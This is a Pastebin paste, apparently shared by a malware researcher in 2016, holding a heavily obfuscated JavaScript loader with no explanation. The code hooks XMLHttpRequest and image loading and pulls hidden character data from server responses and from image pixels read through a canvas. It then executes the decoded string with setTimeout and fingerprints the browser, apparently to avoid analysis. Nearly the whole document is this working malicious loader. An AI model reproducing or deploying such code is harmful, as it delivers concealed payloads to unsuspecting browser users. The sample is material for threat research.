Advertisement
Kafeine

js

Mar 31st, 2016
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.72 KB | None | 0 0
  1. cf = de.document.createElement("div"),
  2. cf.node = de.document;
  3. cf.clstype = cf.node.createElement("a");
  4. cf.docElem = navigator;
  5. cf.chars = screen;
  6. cf.whitespace = de;
  7. cf.msg = String;
  8. cf.supp = Object;
  9.  
  10.  
  11. cf.stable = {
  12. ictnAaei: "emuc",
  13. eCta: "Ysd",
  14. Ctotfw: "Y",
  15. Yrdpd: "y",
  16. YeiigedYgt: "r",
  17. casY: "prY",
  18. ecEYac: "teeY",
  19. dHfrcnYtai: "ntCdM",
  20. YEodsYltYdo: "_tre",
  21. siacu: "rdt",
  22. yirtpYrengOte: "eY",
  23. YtrDwgmmgtY: "2Y",
  24. IaaIeaad: "gee",
  25. thwi: "adgY",
  26. dtwDs: "Phohe",
  27. YoaY: "strtp",
  28. ao: "lae",
  29. cvcnsLtssede: "and",
  30. YYTpLYarvssel: "c",
  31. mlnaYtedu: "h",
  32. ioyYdi: "d",
  33. ehtdYYr: "fYndPdoY",
  34. voYeasl: "amshlr",
  35. Ybsti: "tstor"
  36. };
  37.  
  38. cf.nid = function(ds) {
  39. for (var dr = 0, dp = ds.length / 2, dn = ds.split(""); dr < dp; dr++) {
  40. var dq = dn[dr],
  41. e = ds.length - 1 - dr;
  42. if (dr % 2 == 0) {
  43. dn[dr] = dn[e], dn[e] = dq
  44. }
  45. }
  46. return dn.join("")
  47. };
  48. cf.second = function(dn) {
  49. var i = [];
  50. for (var e in dn) {
  51. i.push(dn[e] + e)
  52. }
  53. return i.join("")
  54. };
  55. cf.exports = (function(dn) {
  56. var e = "Y";
  57. var i = cf.nid(cf.second(dn)).split("_");
  58. return [i[0].split(e), i[1].split(e)]
  59. })(cf.stable);
  60. (function() {
  61. for (var e = 0; e < cf.exports[0].length; e++) {
  62. cf[cf.exports[0][e]] = cf.exports[1][e]
  63. }
  64. })();
  65. cf.numb = XMLHttpRequest.prototype;
  66. cf.factory = Image.prototype;
  67. cf.reg = 200;
  68. cf.eq = function() {
  69. return setInterval(arguments[0], arguments[1])
  70. };
  71. cf.dirruns = function() {
  72. var i = parseInt(this[cf.wd]);
  73. var dn = parseInt(this[cf.hd]);
  74. if (i + dn > 100) {
  75. cf.obj[cf.wd] = i;
  76. cf.obj[cf.hd] = dn;
  77. var e = cf.charenc.call(cf.obj, cf.dd);
  78. e[cf.di](this, 0, 0, i, dn, 0, 0, i, dn);
  79. return e[cf.gid](0, 0, i, dn)[cf.dat]
  80. }
  81. return null
  82. };
  83. cf.identif = cf.supp[cf.dpd];
  84. cf.type = cf.msg[cf.fccd];
  85. cf.module = cf.factory[cf.sat];
  86. cf.parallel = /opera|safari|chrom|firefox/i;
  87. cf.obj = cf.node.createElement("canvas");
  88. cf.charenc = cf.obj.getContext;
  89. cf.deep = [];
  90. cf.key = [];
  91. cf.whitespace.hkey = "";
  92. cf.whitespace.ekv = "116,121,86,118,65,98".split(",");
  93. cf.rheader = function(e) {
  94. if (e < 10) {
  95. cf.deep.push(e)
  96. } else {
  97. cf.token = parseInt(cf.deep.join(""));
  98. cf.deep = [];
  99. cf.copy = cf.arrtype
  100. }
  101. return true
  102. };
  103. cf.arrtype = function(e) {
  104. if (e < 10) {
  105. cf.deep.push(e)
  106. } else {
  107. cf.token--;
  108. cf.key.push(parseInt(cf.deep.join("")));
  109. cf.deep = [];
  110. if (cf.token === 0) {
  111. cf.copy = cf.elem
  112. }
  113. }
  114. return true
  115. };
  116. cf.elem = function(e) {
  117. if (e === 0) {
  118. cf.copy = cf.map;
  119. return false
  120. }
  121. cf.deep.push(cf.key[e - 1]);
  122. return true
  123. };
  124. cf.copy = cf.rheader;
  125. cf.low = function(e, dp) {
  126. if (dp === cf.reg + 2) {
  127. for (var ds = e.response || e.responseText, dr = ds.indexOf(";") + 1, dq = dr, dn = ds.length; dq < dn; dq++) {
  128. if (!cf.copy(ds.charCodeAt(dq) - 1)) {
  129. return cf.stamp = true, cf.bldr
  130. }
  131. }
  132. cf.stamp = false;
  133. return cf.bldr
  134. } else {
  135. cf.stamp = (typeof(cf.stamp) === typeof(false) ? cf.stamp : !dp || dp > 2000)
  136. }
  137. };
  138. cf.pseudo = cf.numb.open;
  139. cf.numb.open = function() {
  140. this.url = arguments[1];
  141. return cf.pseudo.apply(this, arguments)
  142. };
  143. cf.runner = function() {
  144. if (this.url.match(/2f.+d0\./i)) {
  145. cf.low(this, cf.index.get.apply(this, arguments))
  146. }
  147. return cf.index.get.apply(this, arguments)
  148. };
  149. cf.index = Object[cf.gopd](cf.numb, cf.stat);
  150. cf.attribute = function() {
  151. var dq = cf.dirruns.apply(this);
  152. for (var dp = 3, e = dq > "" ? dq.length : 0; dp < e; dp += 4) {
  153. var dn = Math.floor((255 - dq[dp]) / 2);
  154. if (dn > 0 && !cf.copy(dn - 1)) {
  155. return cf.bldr
  156. }
  157. }
  158. };
  159. cf.used = [cf.evtl, cf.attribute];
  160. cf.error = function() {
  161. if (cf.charenc) {
  162. this[cf.ael].apply(this, cf.used)
  163. }
  164. return cf.matchs.set.call(this, arguments[0])
  165. };
  166. cf.matchs = Object[cf.gopd](cf.factory, cf.imsc);
  167. cf.factory[cf.sat] = function(i, e) {
  168. if (i === cf.imsc) {
  169. cf.error.call(this, e)
  170. }
  171. return cf.module.apply(this, arguments)
  172. };
  173. cf.tokenize = function(i) {
  174. return cf.clstype.href = "." + i, cf.clstype.mimeType
  175. };
  176. cf.step = {
  177. IwfIIaa: "pacI",
  178. sIhclgIlyh: "IIapo",
  179. zhblrh: "sr",
  180. ac: "pp"
  181. };
  182. cf.done = "303";
  183. cf.selector = cf.tokenize(cf.done);
  184. cf.trigger = {
  185. f: function() {},
  186. c: function() {}
  187. };
  188. cf.trigger.next = cf.trigger;
  189. cf.seed = cf.trigger;
  190. cf.construct = cf.seed;
  191. cf.gvar = [];
  192. cf.fn = [];
  193. cf.map = function() {};
  194. cf.concur = function(dn) {
  195. cf.rbuggy = !dn;
  196. if (!cf.rbuggy) {
  197. cf.seed = cf.concur;
  198. for (var e = 0; e < cf.global.length; e++) {
  199. clearInterval(cf.global[e])
  200. }
  201. }
  202. };
  203. cf.upldr = function() {
  204. return cf.rbuggy
  205. };
  206. cf.mod = {
  207. set: cf.concur,
  208. get: cf.upldr
  209. };
  210. cf.fls = 50;
  211. cf.tmp = "0";
  212. cf.global = [];
  213. cf.rbuggy = true;
  214. cf.rmsPrefix = function() {
  215. if (!cf.lst) {
  216. cf.lst = cf.cur
  217. }
  218. cf.flush = !1 /*cf.cur-cf.lst>parseInt(cf.fls)+500*/ ;
  219. if (!cf.flush) {
  220. return
  221. }
  222. cf.lst = cf.cur;
  223. if (cf.frame === false) {
  224. return
  225. }
  226. cf.flush = !1 /*cf.cur-cf.lst>500*/ ;
  227. cf.lst = cf.cur
  228. };
  229. cf.nativ = function() {
  230. cf.seed = cf.construct;
  231. cf.clone = cf.len
  232. };
  233. cf.len = function() {
  234. cf.construct = cf.seed;
  235. cf.seed = cf.trigger;
  236. var e = cf.construct.f.call(this, cf.gvar.pop());
  237. cf.gvar.push(e);
  238. cf.construct.c(e);
  239. cf.construct = cf.construct.next;
  240. cf.clone = cf.nativ
  241. };
  242. cf.clone = cf.len;
  243. cf.splice = function() {
  244. for (var dp = 0, dn = arguments, e = null; dp < dn.length; dp++) {
  245. if (e != null && typeof(e) !== typeof(dn[dp])) {
  246. return false
  247. }
  248. e = dn[dp]
  249. }
  250. return true
  251. };
  252. cf.identif(cf.numb, cf.stat, {
  253. get: cf.runner
  254. });
  255. cf.identif(cf.factory, cf.imsc, {
  256. set: cf.error
  257. });
  258. cf.identif(cf, "bldr", {
  259. get: function() {
  260. cf.built = true;
  261. return cf.built
  262. }
  263. });
  264. cf.identif(cf.whitespace, "version", {
  265. get: function() {
  266. var dn = (1 << 1 ^ cf.scrt in cf.node) << 1 ^ cf.hce in this;
  267. for (var e in this) {
  268. var dp = +(!e.indexOf("__")) | 1 + e.indexOf("ole");
  269. dn = dp > 0 ? dn << dp ^ 1 : dn
  270. }
  271. return dn
  272. }
  273. });
  274. cf.identif(cf, "frame", {
  275. get: cf.map,
  276. set: function() {
  277. if (cf.lstm > 0 && cf.cur - cf.lstm > (cf.fls + 700)) { /*cf.flush=true*/ }
  278. cf.lstm = cf.cur
  279. }
  280. });
  281. cf.identif(cf, "flush", cf.mod);
  282. cf.identif(cf, "cur", {
  283. get: function() {
  284. return (new Date()).getTime()
  285. }
  286. });
  287. cf.identif(cf, "num", {
  288. set: function(e) {
  289. if (e.constructor === Function) {
  290. cf.seed = {
  291. f: e,
  292. c: function() {},
  293. next: cf.seed
  294. }
  295. } else {
  296. cf.seed = {
  297. f: function() {
  298. return e
  299. },
  300. c: function() {},
  301. next: cf.seed
  302. }
  303. }
  304. }
  305. });
  306. cf.global.push(cf.eq(cf.rmsPrefix, cf.fls));
  307. cf.global.push(cf.eq(function() {
  308. cf.frame = cf.clone.call(cf)
  309. }, cf.fls));
  310. cf.global.push(cf.eq(function() {
  311. if (cf.built && cf.signed && cf.stamp) {
  312. cf.flush = setTimeout(cf.type.apply("", cf.deep))
  313. } else {
  314. var dn = [cf.built, cf.signed, cf.stamp];
  315. cf.flush = (cf.splice.apply(this, dn) && cf.built !== undefined);
  316. if (!cf.flush) {
  317. var dp = cf.execs(),
  318. e = 0;
  319. for (var dq = 0; dq < dn.length; dq++) {
  320. e = e << 1 ^ dn[dq]
  321. }
  322. if (dp > "") {
  323. dp.sendCode(-1, e)
  324. }
  325. }
  326. }
  327. }, cf.fls));
  328.  
  329. cf.num = function(i) {
  330. cf.signed = !i;
  331. var e = cf.execs();
  332. if (i && e > "") {
  333. e.sendCode(-1, cf.dfl ? 30 : 20)
  334. }
  335. };
  336. cf.num = function(dq) {
  337. cf.dfl = dq || parseInt("1") > 0;
  338. if (parseInt(cf.tmp) > 0) {
  339. return false
  340. } else {
  341. if (cf.dfl) {
  342. for (var dn = 0, dp = cf.nid(cf.second(cf.step)).split("I"); dn < dp.length; dn++) {
  343. if (cf.tokenize(dp[dn]).replace(dp[dn].toUpperCase(), cf.done.toUpperCase()) !== cf.selector) {
  344. return true
  345. }
  346. }
  347. return false
  348. } else {
  349. return true
  350. }
  351. }
  352. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement